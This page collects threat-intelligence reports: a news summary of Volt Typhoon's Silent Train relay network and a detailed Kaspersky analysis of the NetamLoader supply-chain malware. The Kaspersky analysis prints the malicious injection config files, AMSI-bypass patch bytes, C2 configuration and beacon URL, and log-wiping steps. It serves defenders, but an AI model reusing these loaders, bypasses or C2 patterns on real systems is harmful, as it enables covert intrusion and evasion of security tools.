Tag: APT

  • Volt Typhoon Used Silent Train to Hide Zero-Day Attacks

    Volt Typhoon Used Silent Train to Hide Zero-Day Attacks

    Volt Typhoon used disposable relay chains to hide zero-day attacks on critical systems. Lumen linked Silent Train to at least four zero-days.

    Lumen’s Black Lotus Labs has spent three years tracking a covert network it calls Silent Train, which it ties to Volt Typhoon, the China-linked APT group. The cybersecurity firm says the network hid exploitation of software flaws the vendors didn’t know about yet. Black Lotus sent hundreds of victim notifications along the way, and the investigations that followed revealed the exploitation of at least four confirmed zero-days and one likely.

    “Volt Typhoon’s Silent Train is a covert network designed to gain and maintain access to the technologies businesses rely on to manage devices, networks and critical operations.” reads the report published by Lumen. “Black Lotus Labs® tracked how the group used rapidly changing chains of compromised infrastructure to conceal its activity while exploiting previously unknown vulnerabilities in centralized management platforms.”

    Silent Train first showed up in November 2023, shortly before the first takedown of the KV-botnet, Volt Typhoon’s earlier network of hijacked routers. Activity rose after the second disruption. The group dropped persistent infrastructure and moved to disposable chains of compromised devices that it could rebuild whenever it wanted.

    Each session began on a rented server outside the United States. It then passed through another server and compromised small-office routers, home devices and IoT equipment in other countries. Finally, the traffic passed through a compromised device in the U.S., close to the target. This helped the attackers make their activity look like normal local traffic and bypass location-based blocks and IP reputation filters. On average, the chains passed through about four devices before reaching a U.S. IP address. Some used as many as six.

    Lumen identified more than 27 types of devices used in the network, including TP-Link routers and Fortinet appliances. Some of these devices had no known vulnerabilities, suggesting that Volt Typhoon may have used previously unknown exploits to compromise them and create relay points.

    “We observed more than 27 device classes exploited and used in Silent Train operations, ranging from SOHO and IoT devices like TP-Link routers and Netgear Orbi devices to enterprise platforms like Fortinet appliances and CyberPanel servers.” the report continues. “Some relay device types lack known vulnerabilities, suggesting Volt Typhoon leveraged undisclosed zero-day exploits to set up a single relay in a four-to-six hop chain and indicating a willingness to commit significant resources to protecting future access capabilities.”

    The attackers exploited exposed web interfaces and installed only the tools needed to connect the devices through SSH. These included temporary SSH services, keys, configuration files and tools already available on the systems. At the end of each session, they removed all traces of their activity and dismantled the relay chain. Sessions lasted about four hours on average, although some lasted only minutes. The attackers could also build a new chain in less than two minutes, suggesting that they had partly automated the process.

    The group worked with strict discipline. New device types arrived about one per quarter, and about one per month during the 2023 and 2024 build-out, always tested outside the U.S. first. Roles never changed: Intelbras modems served only as overseas relays, Netgear Orbi devices only as the U.S. hops facing victims, and the server providers stayed separated by layer too.

    By early 2025, enterprise platforms like Fortinet, Cisco, PRTG, Mirth Connect and CyberPanel joined as final hops. They stayed up one to three months and supported several intrusions. The group also added reverse tunnels using the open-source proxies Chisel and FRP, and the old and new methods ran in parallel.

    Volt Typhoon used Silent Train only during key stages of its attacks, including exploiting vulnerabilities, stealing credentials and data, and maintaining access to compromised systems. Each session targeted between one and five victims, often just one organization. The activity was carried out by human operators, mainly from Monday to Friday, between 9 a.m. and 10 p.m. China Standard Time. The group also paused operations for several weeks around Chinese New Year.

    The group targeted tools used to manage endpoints and networks, as well as SD-WAN systems and other control platforms. These systems can manage hundreds or thousands of devices, allowing attackers to reach many systems without moving through the network in the usual way. This approach also helped them leave fewer traces. After the attacks, investigators found webshells running in memory, stolen credentials, misuse of built-in features such as remote file transfers, and deleted logs.

    The four confirmed zero-day campaigns hit Versa Director in 2024, N-able N-central through CVE-2025-8875 and CVE-2025-8876, Cisco Catalyst SD-WAN through CVE-2026-20127, and VeloCloud Orchestrator through CVE-2026-16812. The Cisco bug is a CVSS 10.0 flaw, and the group kept exploiting it well after Cisco disclosed it in February 2026. In the Versa case, the group used an in-memory JAR webshell to limit forensic evidence and reach downstream customers.

    The likely fifth is Quest KACE. The campaign hit more than 30 victims and faded after Quest’s October 2025 security updates.

    “The campaign affected more than 30 victims, followed vendor remediation timelines and declined after Quest’s October 2025 security updates.” the report states. “Despite limited forensic evidence, the available data supports a moderate-confidence assessment that Volt Typhoon exploited a zero-day vulnerability.”

    The actor stayed on the KACE server and used its admin features to take credentials.

    Victims include telecoms, government agencies, defense contractors, satellite and emergency communications, universities with ROTC programs, managed service and IT firms, and critical infrastructure such as water, energy, transportation, maritime, rail and aviation. What they share is access to bigger networks or customers. Hawaii, California and Texas were the top locations for several years. Lumen can’t say why, but the pattern fits pre-positioning for a crisis in the Indo-Pacific.

    “For enterprise leaders, the lesson is clear: systems with broad administrative reach can become high-value gateways to the entire organization and its customers. Reducing internet exposure, accelerating patching, strengthening access controls and preserving security telemetry are essential to detecting threats earlier and limiting their impact.” Lumen concludes.

    Follow me on Twitter: @securityaffairs and Facebook and Mastodon

    Pierluigi Paganini

    (SecurityAffairs – hacking, China)

    Source: Security Affairs · 2026-10-29

  • Unknown APT uses NetamLoader to attack a Win10 OS customized for governments in Asia

    Unknown APT uses NetamLoader to attack a Win10 OS customized for governments in Asia

    Introduction

    A couple of months ago, our research revealed a highly sophisticated infection chain and a complex .NET assembly-loading framework built on XAML markup, which strongly indicates a supply-chain attack targeting a custom Windows build used exclusively by government entities in Asia. The malicious framework has been labeled NetamLoader; at present, no attribution to any known APT group has been established.

    The sample came to light in the first half of 2026, when Kaspersky Security Network (KSN) issued a malware detection alert for a .config file using AppDomainManager injection to load arbitrary .NET assemblies. The file was packaged inside a CAB archive placed in the directory that stores Windows operating system update packages. Initial analysis of the CAB contents found no malicious code: most executables were legitimate components of the third-party patch management tool Patch My PC, and even the .NET assemblies used for the injection were Microsoft-signed. A later re-examination of the original .config file and the full loading process revealed the infection chain and framework described in this report.

    Kaspersky’s products detect this threat as HEUR:Trojan.MSIL.NetamLoader.gen, Trojan.MSIL.Zapchast.*, and Trojan.Script.Agent.*.

    Background

    During routine threat hunting, KSN sent us a malware detection alert. The notification flagged a .config file that employed AppDomainManager injection to load arbitrary .NET assemblies. The file was compressed into a CAB archive named e4537a1762fcafd2fd96bfc825bad34f9db9a24d and saved in the folder that stores Windows operating system update packages. Below is the full path to this archive:

    C:\Windows\SoftwareDistribution\Download\e4537a1762fcafd2fd96bfc825bad34f9db9a24d

    Starting with this CAB archive, we uncovered a highly complex infection chain that uses a previously unknown advanced loading framework.

    Initial infection

    The CAB file contains the following seven files, which are extracted and placed in the path C:\Windows\SoftwareDistribution\Download\Install\:

    Files compressed in the CAB file

    Files compressed in the CAB file

    Except for Resources.resx, none of the files contain malicious code. We did not observe how the CAB file was delivered to the victim; we only saw the process PatchMyPC-ScriptRunner.exe running with the following arguments:

    C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe -updatepackage -applicationid=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

    After the file is launched in this manner, the infection chain progresses to stage 1.

    Stage 1

    Starting with the execution of PatchMyPC-ScriptRunner.exe, which then served as a host process for loading several payloads, we identified a complex two‑stage loading mechanism with multiple steps. The overall flow of stage 1 is summarized in the diagram below.

    Infection chain: Stage 1

    Infection chain: Stage 1

    Step 1

    The AppDomainManager injection technique is used to load an arbitrary .NET assembly. With this mechanism, when PatchMyPC-ScriptRunner.exe runs, the accompanying configuration file PatchMyPC-ScriptRunner.exe.config in the same directory is loaded before the executable’s main function runs. Below is the content of PatchMyPC‑ScriptRunner.exe.config.

    <?xml version="1.0" encoding="utf-8" ?>
    <configuration>
    	<runtime>
    		<appDomainManagerType  value="Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration">
           </appDomainManagerType>
    		<appDomainManagerAssembly  value="Microsoft.HostIntegration.Connectors, Version=1.0.0.0, 
                        Culture=neutral, PublicKeyToken=31bf3856ad364e35">
           </appDomainManagerAssembly>
    		<NGenAssemblyUsageLog enabled="0" />
    	</runtime>
        <startup> 
            <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6" />
        </startup>
    </configuration>

    According to the configuration file, the class Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration from the Microsoft.HostIntegration.Connectors.dll module (a Microsoft‑signed assembly) is loaded. DataCacheFactoryConfiguration is the configuration class for the Windows Server AppFabric Cache Client, specifying the settings for a new cache client. When the configuration class is loaded, its instance first attempts to find and read the default configuration file, fabric.config, located in the same directory. The contents of fabric.config are shown below:

    <?xml version="1.0" encoding="utf-8"?>
    <section name="foo">
        <customType className="System.Resources.ResXResourceSet, System.Windows.Forms, 
                    Version=4.0.0.0, Culture=neutral, 
                    PublicKeyToken=b77a5c561934e089(Resources.resx)" />
    </section>

    Step 2

    The DataCacheFactoryConfiguration class has a design flaw that can be abused to load arbitrary assemblies. The fabric.config file is meticulously crafted. When the file is loaded, the DataCacheFactoryConfiguration instance examines its className attribute, loads the specified type (System.Resources.ResXResourceSet from the System.Windows.Forms assembly), and creates a ResXResourceSet instance, passing “Resources.resx” to its constructor for parsing.

    In the .resx file, multiple layers of payloads – including several XAML files, .NET assemblies, and JSON data – are encoded, compressed, or encrypted (see the diagram below). Each layer is unpacked and loaded by the layer above it. Once a layer finishes its operation, the next layer is extracted and loaded. Below, we analyze each layer in the order in which it is loaded:

    Multiple layers of payloads are compressed and encrypted in the .resx file

    Multiple layers of payloads are compressed and encrypted in the .resx file

    The Microsoft RESX schema defines the XML layout used by .resx files, which has a human-readable structure and can hold application resources: strings, images, icons, and serialized objects. The Resources.resx file contains a Base64‑encoded binary object that was serialized using the well‑known, highly vulnerable .NET BinaryFormatter class.

    Base64-encoded serialized binary object in Resources.resx

    Base64-encoded serialized binary object in Resources.resx

    Parsing this .resx file with ResXResourceSet causes the embedded Base64‑encoded binary payload to invoke BinaryFormatter.Deserialize(), triggering a deserialization vulnerability that enables a TypeConfuseDelegate attack. The TypeConfuseDelegate then invokes XamlReader.Parse(), which loads a XAML payload (named XAML-1) embedded within the binary object.

    XAML is a markup language for building user interfaces in .NET applications, but its capabilities extend far beyond that. Using two built‑in objects, ObjectDataProvider and ResourceDictionary, logic equivalent to C# code can be expressed in an XML‑like syntax.

    A code snippet of XAML-1

    A code snippet of XAML-1

    Step 3

    The XAML-1 code acts as a loader for an embedded payload. The process is as follows:

    1. Retrieve the full command line of the current host process PatchMyPC‑ScriptRunner.exe, converting all arguments to lowercase.
    2. Generate the AES key by hashing the command‑line string with SHA‑256.
    3. Decode the Base64 string embedded in XAML-1 into a binary array. Use the first 16 bytes of that array as the IV, then decrypt the remaining encrypted data with AES. The decrypted output is another piece of XAML code, which we refer to as XAML-2.
    4. Load XAML-2 into memory using the .NET API System.Windows.Markup.XamlReader.Load().
    5. If any exception occurs during decryption, trigger Environment.Exit(0), silently terminating the host process to prevent error messages that might reveal the attack.

    Stage 2

    XAML‑2 initiates stage 2 of the infection. The diagram below shows the overall flow of this stage.

    Infection chain: Stage 2

    Infection chain: Stage 2

    XAML‑2 contains two embedded Base64‑encoded sections. These sections are actually two additional XAML files (referred to as XAML-2-1 and XAML-2-2) that were first compressed with ZIP and then encoded in Base64. After decoding and decompressing, XAML-2 loads each file into memory separately with XamlReader.Load().

    A code snippet of XAML-2

    A code snippet of XAML-2

    XAML-2-1

    The first file consists of 796 lines. Its sole purpose is to hijack a key AMSI API to bypass anti‑malware scanning.

    Sensitive strings in XAML-2-1 are cut into tiny pieces

    Sensitive strings in XAML-2-1 are cut into tiny pieces

    To avoid detection by anti‑malware signature scans, sensitive strings are split into very short fragments. When XAML-2-1 is loaded and parsed, the fragments are reassembled into the original string.

    The key steps it takes to achieve its goal are as follows:

    1. Check the OS architecture by verifying whether IntPtr.Size equals 8. If it does not, the host process isn’t 64‑bit, so abort the hijack operation.
    2. Combine the split strings into a single CLSID GUID (fdb00e52-a214-4aa1-8fba-4357bb0072ec), then try to create an instance of the AMSI COM object using this GUID.
    3. Patch the AMSI module.
      • Create a delegate for the runtime method Console.Clear() and then obtain its native function pointer. Next, patch the method by overwriting its first bytes in memory with the binary payload (41 C7 00 01 00 00 00 33 C0 C3).
      • Obtain the native pointer of the AMSI COM object with Marshal.GetIUnknownForObject(). From this pointer, read the address of its virtual method table and add 0x18 to reach another pointer that holds the address of the CAmsiAntimalware::Scan method.
      • Use VirtualProtect() to make the Scan() pointer writable, change its value from the address of the CAmsiAntimalware::Scan() method to the address of the patched Console.Clear(), and then restore the pointer’s original protection attributes. Once this step is complete, every scan returns AMSI_RESULT_CLEAN (value = 0).

    One patch targets the Console.Clear() API, which resides in the memory space of an existing legitimate module, while the other modifies only the virtual tables of the AMSI module, allowing the malware to pass code integrity checks.

    XAML-2-2

    XAML-2-2 consists of two parts: a .NET module (the first loader, .NET 1 Loader) and a JSON data payload (the C2 configuration, JSON-1). Both components are compressed with ZIP and then encoded in Base64. XAML-2-2 first decodes and decompresses the .NET assembly .NET 1 Loader, then uses the Assembly.CreateInstance() API to create an instance of the .NET 1 Loader and passes the Base64‑encoded JSON-1 to the m.C() method of .NET 1 Loader as a parameter.

    .NET 1 Loader

    .NET 1 Loader decodes, decompresses, and parses JSON‑1. The decoded and decompressed JSON‑1 is shown below:

    {
        "p": "[Base64‑encoded JSON, which we call JSON‑1-p]"
        "c": "[Base64‑encoded JSON, which we call JSON‑1-c]"
    }
    • JSON-1-c
      This JSON contains the configuration data that .NET 1 Loader uses to report the execution results of the loaded payload to the C2 server.

      sc false Flag. Determines whether to report the execution result of m.C(). When set to false, reporting to C2 is skipped.
      c null Reporting C2 server. The result returned by the m.C() method of .NET 1 Loader is sent to this server.
      tp null Unknown item, suspected to be a trusted SSL certificate. Thumbprint was used to verify this alleged C2 certificate.
      e null The AES key that encrypts the JSON result returned by the m.C() method of .NET 1 Loader.
    • JSON-1-p
      JSON-1-p is a more complex configuration file. .NET 1 Loader parses its data to prepare and load the subsequent stages. The following configuration keys store the payloads:

      • oib: Base64‑encoded .NET 2 Plugin (PE file)
      • oub: Base64‑encoded XAML that invokes Exit(0)
      • ibk: AES key used to decrypt ibi
      • ibi: A Base64‑encoded collection of compressed, encrypted XAML templates used to build XAML-3. Detailed instructions for decrypting and assembling XAML‑3 are provided in the XAML‑3 section below.

      Other items are passed as C2 configuration to the .NET 2 Plugin at a later stage.

      [
          {
              "c": [
                  {
                      "cu": "https://openaigpt4v.com/model_v4/",
                      "tp": "*",
                      "rh": ""
                  }
              ],
              "mib": 79200,
              "mab": 100800,
              "mis": 1200,
              "mas": 2400,
              "e": "9fT04e03tAiZAPogcDWt0w==",
              "ii":  null,
              "aop": null,
              "oib": "TVqQAAMAAAAEAAAA//8AALgAAAAAA...",
              "oub": "PFJlc291cmNlRGljdGlvbmFyeS...",
              "wi": 100801,
              "ibk": "W7BHmIRBRY3FOIfWprbW/ZJh5GbPND3sY+qCBDY7O2A=",
              "ibi": "4pUDtQVbD6leQrDvtT3gaaCLec...",
              "de": false
          }
      ]

    After obtaining the configuration, .NET 1 Loader proceeds with the following key steps:

    1. Delete the update records from the system log related to the malicious update packages, along with the malicious files and cache files used in stage 1.
      • Delete malicious files extracted from the CAB
        PatchMyPC-ScriptRunner.exe.config
        fabric.config
        Resources.resx
      • Delete CLR usage logs and Windows system Prefetch cache files to eliminate evidence that could be used in forensic analysis.
        %LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\PatchMyPC-ScriptRunner.exe.log
        %WINDIR%\Prefetch\PATCHMYPC-SCRIPTRUNNER.EXE-*.pf
      • Retrieve the files in the folders matching the pattern 20???? at the path below, where each file name starts with “20” followed by six more characters (e.g., 20260101). Read the files’ contents, filter out any lines containing the exact substring GetExtendedUpdateInfoHandler, and write the filtered content back to the log files. The path contains the keyword CmitUpdateAgent, which may be linked to a custom Windows 10 build used by a government in Asia.
        "%WINDIR%\Logs\CmitUpdateAgent\20????\20??????"
    2. Reset a registry‑based exception‑state logging system by deleting the nine GUID keys under the path LocalMachine\SOFTWARE\Classes\appid\[specific_GUID] one at a time, along with all of their child subkeys. The algorithm that generates the GUID path is unique– it derives the GUID from the C2 URL– so each C2 server has its own distinct set of bound GUIDs. Of the nine GUIDs derived using this method, one indicates that an exception occurred, and the others are numbered 0 through 7.
       
      For example, when the malware catches exception code 129, it creates the registry subkey {bde7ddc2-1f6f-4397-a0df-ae7c7d67d65a} to indicate that an exception occurred. It then checks the bit mask, where 129 equals binary 10000001. Consequently, it creates the eighth subkey {74084115-433e-4fe8-8d01-41c48fbfeef6} and the first subkey {bf6f4bde-97db-4dcd-9546-7ebf10061519}.
    3. Verify that each necessary configuration item exists in JSON-1-p, then validate some of its items against hardcoded values. If any item fails the check, halt the infection chain and submit the execution result to the reporting C2 server.
    4. Verify that the current user is an administrator; if not, throw an exception with code 128.
    5. Check whether the configuration item aop exists. If it does, Base64-decode its value, use the result as XAML-3, and skip to step 9.
    6. Generate a unique malware instance ID for the configuration item ii by calling Guid.NewGuid().
    7. Query the SusClientId value from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate. Then generate the value for the newly defined configuration item si by computing a GUID using the same algorithm as above. Use the concatenation of the retrieved SusClientId value and the byte sequence \x14\x43\x9B\x64 as the input data for the algorithm.
    8. Parse JSON-1-p, extract the relevant items and their values, and convert them to XAML format. Next, follow the steps outlined in the XAML-3 section to generate the complex XAML script XAML-3.
    9. Create a COM instance of WScript.Shell (CLSID: 41904400-BE18-11D3-A28B-00104BD35090) and retrieve the environment of the current process. Then set the COMPlus_ETWEnabled environment variable to 0 to prevent the CLR from registering the .NET ETW provider, which hides the associated events.
    10. Use RPC to create a remote COM object (CLSID: ab8902b4-09ca-4bb6-b78d-a8f59079a8d5). Exploit it via an unknown binary object deserialization vulnerability and the TypeConfuseDelegate technique. Once the exploit succeeds, XAML-3 is loaded into the remote host process dllhost.exe. This is a covert method for initiating a new process that loads the malicious payload XAML‑3. This technique effectively separates the infection chain from its initial process, allowing it to bypass behavioral monitoring by security solutions such as EDR.
    11. The execution result (in JSON format, shown below) is first AES‑encrypted using the key from the item e. A randomly generated IV is prepended to the encrypted data, and the result is then Base64‑encoded.
      [
          {
              // Fixed value
              "_": "0202097a-5c1e-460d-b5e0-030b9756b242",
              // Error number: 0 indicates successful execution
              "e": "0 ",
              // Value of config "ii"
              "i": "94aafd58-c00c-402a-aae6-858b4486a1a4"
          }
      ]
    12. POST the encrypted and encoded result to the reporting C2 server.

    XAML-3


    XAML-3 is a critical payload that, after leaving the original process tree, is loaded and executed in a different process: dllhost.exe. XAML-3 is generated from template XAML-3. As shown in the diagram below, the template is decoded and decrypted using the value of the ibi item in JSON-1-p. In addition to template XAML‑3, the final decryption includes two other XAML templates (template __P1__ and template __P2__).

    The multi-layer encryption structure of "ibi"

    The multi-layer encryption structure of “ibi”

    The AES key is taken from the config item ibk. The first 16 bytes of the encrypted binary data serve as AES IV 1. After decryption, the data consists of a simple header followed by AES IV 2.

    Template XAML‑3 includes two string placeholders, __P1__ and __P2__. Each placeholder is replaced with compressed, Base64‑encoded XAML (template __P1__ and XAML‑P2).

    The content of template __P1__ is identical to XAML-2-1 and bypasses AMSI in the new process. XAML-P2 is generated from the template __P2__.

    Some of the item values in template __P2__ come from the C2 configuration data in JSON-1-p. Within template __P2__, the placeholder __P__ is replaced with a compressed, encoded payload – the .NET 2 Plugin – which is decoded from the oib value in JSON-1-p. After completing all the operations, the template __P2__ becomes XAML-P2.

    The C2 configuration in XAML‑P2 is shown below:

    Item Value Description
    ii 94aafd58-c00c-402a-aae6-858b4486a1a4 Unique ID for this malware instance (if the ii value in the configuration is null, the malware will generate a random one).
    ec 9fT04e03tAiZAPogcDWt0w== Base64-encoded AES master key: same as item e in JSON-1-p, used for C2 traffic encryption and authentication.
    bi 79200-100800 Actual polling delay if the C2 doesn’t respond: 79200-100800 seconds (22-28 hours) – the code parses the values and multiplies them by 1000 to get milliseconds. This item indicates that the malware uses very long polling intervals.
    is 1200-2400 Actual delay: 1200-2400 seconds (20-40 minutes) – a long delay before the initial connection to the C2 server, used for sandbox evasion.
    u Base64encodedXAML A short XAML snippet that calls Environment.Exit(0)
    wi 100801 Actual initial wait: 100801 seconds (~28 hours). The malware waits approximately 28 hours after initial execution and then exits the process.
    de False Local exception logging switch: when set to False, exception logging is enabled.
    si 41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095 UID: generated using a custom method based on the registry key value SusClientId.
    cu https://openaigpt4vcom/model_v4/ Command-and-control (C2) server URL taken from the C2 server list.
    tp * Trusted SSL certificate thumbprint: * indicates that any certificate is trusted (disabling SSL pinning/validation). This entry also appears in a list, corresponding to the C2 item cu.
    rh   Additional route header/data: not configured in this instance.

    When dllhost.exe loads XAML-3, it loads template __P1__ and XAML-P2 one by one. When XAML-P2 loads, it retrieves the current domain via AppDomain.GetCurrentDomain() and then stores the values of the C2 configuration items (cu, tp, and rh; see the table above) in that domain using AppDomain.SetData(). Finally, XAML-P2 decodes and decompresses the embedded payload (.NET 2 Plugin), loads the .NET 2 Plugin into the current domain, and then calls the plugin’s entry method, m.C().

    .NET 2 Plugin

    This payload is a .NET assembly (PE file). As discussed above, it is loaded by XAML-P2 into the host process dllhost.exe. In the plugin’s entry method m.C(), a thread is spawned to execute the malicious operations.

    The following key steps are executed in this thread:

    1. Configuration initialization: Load the C2 configuration from the current AppDomain’s data storage and assign it to the corresponding member variables.
    2. Gather system information from the registry:
      • "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\full", Key="Version"
        "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", Key="BuildLab"
      • Combine the queried values into a single string, for example: "4.7.03190\n17763.rs5_release.180914-1434". If any query fails, replace its result with a hyphen (“-“).
    3. Clear the state of the exception‑state logging system: .NET 2 Plugin uses the same exception‑state logging system as the .NET 1 Loader.
      • Recursively delete 12 GUID subkeys from the registry. The algorithm that generates the GUID path is the same as the one used by .NET 1 Loader. The first eight GUIDs are the same as those that .NET 1 Loader attempted to remove. The remaining four GUIDs were generated using different integer seeds (integer seed = [From 1 to 4]|65536).
      • If steps 1 and 2 are completed successfully, generate a subkey using the integer seed 3|65536. Then create the following registry subkey:
      • "LocalMachine\SOFTWARE\Classes\appid\{ff259bcd-2f0a-44de-b34a-0092fec1d8a2}
        DllSurrogate = ""
    4. Anti-analysis: Check whether the current host process is dllhost.exe by examining Environment.CommandLine.
    5. Prevent the host process from exiting: Create a managed object and retrieve its IUnknown interface. Then call ole32.dll’s CoLockObjectExternal(IUnknown interface) to lock the object in memory, ensuring that the dllhost.exe process created by RPC is not released by the system.
    6. Jitter delay: Before the initial request to the C2 server, wait for a random jitter delay of 20-40 minutes (set by the configuration item “is”=”1200-2400”) to evade sandboxes by causing them to time out.
    7. Set maximum execution time: Create a timer that registers a callback function as a watchdog. The timer waits approximately 28 hours (100801 seconds, retrieved from the configuration item wi) before invoking the callback. The callback fetches the configuration item u, decodes its Base64‑encoded string, decompresses the output, and extracts a XAML snippet from the resulting data. It then loads this XAML, which ultimately triggers Environment.Exit(0).
    8. Periodic polling:
      1. Retrieve the config items cu and ii to build the full URL https://openaigpt4v.com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4
      2. Obtain the system proxy using three methods (see the Discovering proxies section below).
      3. Register an HTTPS callback (ServerCertificateValidationCallback) that verifies the server‑side X.509 certificate against the configuration value tp before establishing the connection.
      4. Then, combine the system information with additional details, such as whether the proxy is bypassed, whether it is using a proxy, and the current index in the C2 server list.
      5. Next, encrypt the combined data with AES (see the AES encryption diagram in the network traffic section for more details), and then encode the encrypted output in Base64.
        // Final HTTP request URL
        "https://openaigpt4v[.]com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4?b=lM4V3VwrWtXBy4oBGUkXOHfxyLUlrT2hIZGn4C37W1Z3%2FeW1WURJqzaNLQhGFHsWxA2lpJHZSpd8VDLMOQRD%2FfsDswnomIrBpoaNzug3dOtrh1J2KIqZRmKx1TtQsxq1RAGu1y45rSKaPHm9s2HF8A%3D%3D&c=41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095"
      6. Hijack the HTTP User-Agent and replace the value following HOST: with the config value of item rh.
      7. Retrieve a XAML file from the C2 server, update the configuration data, and load the retrieved XAML (for more details on techniques, see the Execute downloaded XAML payload in an isolated AppDomain section).
      8. If a valid response is received from C2, the loop pauses for 5-6 minutes before the next request; otherwise, it pauses for 22-28 hours, checking every 10 minutes to determine whether the allotted time has elapsed.

    AES encryption scheme for network traffic


    All traffic between the malware and the C2 server is encrypted and authenticated using AES‑128‑CBC with HMAC. The encryption and authentication keys are derived from a master key – specified in the configuration as "ec"="9fT04e03tAiZAPogcDWt0w==" – by applying HMAC with distinct seed values.

    For a given master key and a single-byte seed, the derivation works as follows:

    1. Generate a 16‑byte sequence from the seed; this serves as the HMAC key.
    2. Compute HMAC‑SHA256 over the master key to obtain an intermediate key.
    3. Use this intermediate key as the HMAC key to compute HMAC‑SHA256 on the constant byte 0x01.
    4. Take the first 16 bytes of the resulting hash; this becomes the final derived key.

    Accordingly, the server-side encryption and decryption keys mirror those on the client (malware) side.

    Seed Key type generated (client side) Key type generated (server side)
    0 Decryption key Encryption key
    1 Decryption authentication key Encryption authentication key
    2 Encryption key Decryption key
    3 Encryption authentication key Decryption authentication key

    The code implements an encapsulation of AES-CBC encryption combined with HMAC-SHA256 integrity verification. It uses a randomly generated IV to symmetrically encrypt the plaintext in CBC mode and produces ciphertext. Next, it calculates an SHA256 message authentication code for the concatenated “IV+ciphertext” using a separate HMAC key. Finally, it concatenates the three segments – IV (16 bytes) | ciphertext | HMAC (32 bytes) – into a single byte array that constitutes the final encrypted message. This follows the standard cryptographic Encrypt-then-MAC construction. The receiver must validate the HMAC before decrypting with the corresponding key and IV, which ensures confidentiality, integrity, and tamper resistance.

    Discovering proxies


    .NET 2 Plugin detects the system proxy using three methods:

    • Retrieve the system‑wide proxy configuration using the Win32 WinHTTP API function WinHttpGetDefaultProxyConfiguration(), then extract the proxy server with the regular expression (?:([a-zA-Z]+)=)?(.*).
    • If that fails, locate the running explorer.exe process, impersonate its access token using Impersonate(), and retrieve its proxy configuration with the .NET API WebProxy.GetDefaultProxy().
    • If both methods fail, fall back to obtaining the proxy from the .NET property DefaultWebProxy.

    These methods ensure that the malware can reach external networks even in complex network environments with proxies.

    Execute downloaded XAML payload in an isolated AppDomain


    This technique abuses MulticastDelegate again by using reflection to modify its private _invocationList array. .NET 2 Plugin creates a multicast delegate (CrossAppDomainDelegate) and replaces one entry in its invocation list with a malicious delegate pointing to XamlReader.Parse(). When AppDomain.DoCallBack() executes this multicast delegate, it iterates through the invocation list and invokes the injected XamlReader.Parse() to parse and execute the downloaded XAML.

    In more detail, the process is as follows:

    1. Create a new isolated AppDomain with a randomly generated GUID as its name.
    2. Copy all configuration data from the current AppDomain into the new one.
    3. Set the proxy information in the new AppDomain and assign it to the variable px.
    4. Use TypeConfuseDelegate to replace TimeZoneInfo.ClearCachedData() with XamlReader.Parse(), thereby modifying the MulticastDelegate(CrossAppDomainDelegate).
    5. Use appDomain.DoCallBack() to invoke XamlReader.Parse() within the isolated AppDomain, executing the downloaded XAML payload.
    6. Transfer any updated configuration data from the new AppDomain back to the original AppDomain.
    7. Unload the isolated AppDomain to complete the cleanup.

    This technique keeps the downloaded malicious payload out of the main AppDomain, which increases stability and allows the payload to be fully cleaned up after execution.

    Infrastructure

    The attack relies on commercial hosting infrastructure. The C2 IP is part of Cloudflare’s CDN, and the domain name is registered with Cloudflare.

    Domain IP First seen Domain Registrar/ASN
    openaigpt4v[.]com 104.18.14[.]219 Sep 27, 2023 Cloudflare, Inc. / 15169

    Victims

    Based on KSN telemetry data, we identified a single victim in Asia. Additionally, we learned that the malware was designed to target a specially customized government‑only version of the Windows operating system. Consequently, we infer that the victims are Asian government entities.

    Attribution

    After analyzing the TTPs, code similarities, and infrastructure, we were unable to link the attack to any known APT group.

    Conclusions

    Technological sovereignty has become a global trend. In today’s geopolitical climate, a growing number of countries are building their own core software platforms, including operating systems, databases, middleware, and cloud services, with operating systems often the top priority. The advantage is that each country controls the development, operation, and upgrading of its own operating systems, granting it full autonomy over the entire process. On the other hand, it also means that each country must protect this entire vast ecosystem on its own. Bringing the operation and maintenance of such a system to maturity is a lengthy process. Until then, both the system and its emerging supply chain could be exposed to attacks through multiple vectors, increasing potential vulnerabilities.

    Indicators of Compromise

    File hashes

    F2458ED133F8D0CA19E22C10F577E98E    e4537a1762fcafd2fd96bfc825bad34f9db9a24d
    E1DC6F1ED193594F2284BE22AE08DFA4               Resources.resx
    AB81564BCB8CA7E710C66832DE747556   .NET 1 Loader
    CFB8B281BDF5D9390E64B10C312FB2C1              .NET 2 Plugin
    67E3617F8709D34F806F8E02BADBA8A5    fabric.config
    514AC0D73B8A1B73488EF5E2E55A75C3   PatchMyPC-ScriptRunner.exe.config
    514117D536E347560D049CFE0C609632     XAML-1
    9000820D8153C24CD60D53001D3A97B6    XAML-2
    B3C4A635179680EDAFB5D006CF0CFFC6              XAML-2-1
    4F28622C5E60C01319BF48CF742FE1A5    XAML-2-2
    C86D53392A87DD3F3E62D62C9B92A9BD              XAML-3

    File paths

    C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe.config
    C:\Windows\SoftwareDistribution\Download\Install\fabric.config
    C:\Windows\SoftwareDistribution\Download\Install\Resources.resx

    Domains and IPs

    openaigpt4v[.]com

    Source: Securelist (Kaspersky GReAT) · 2026-10-29

  • Inside KeyDrift: Analyzing historical UAT-11473 activity on Cisco SD-WAN

    Inside KeyDrift: Analyzing historical UAT-11473 activity on Cisco SD-WAN

    • Cisco Talos has identified UAT-11473, a highly sophisticated advanced persistent threat (APT) actor, who exploited CVE-2026-20127, an authentication bypass vulnerability in Cisco SD-WAN Catalyst Controller instances to bypass authentication and gain unauthorized access to affected systems.
    • UAT-11473 then installed a custom malware framework we track as “KeyDrift” consisting of multiple components geared towards collecting sensitive keying information, acting as backdoors and intermediate command-and-control (C2) hosts.
    • Observed targeting spans across space and satellite services, defense and aerospace technology, and policy research.

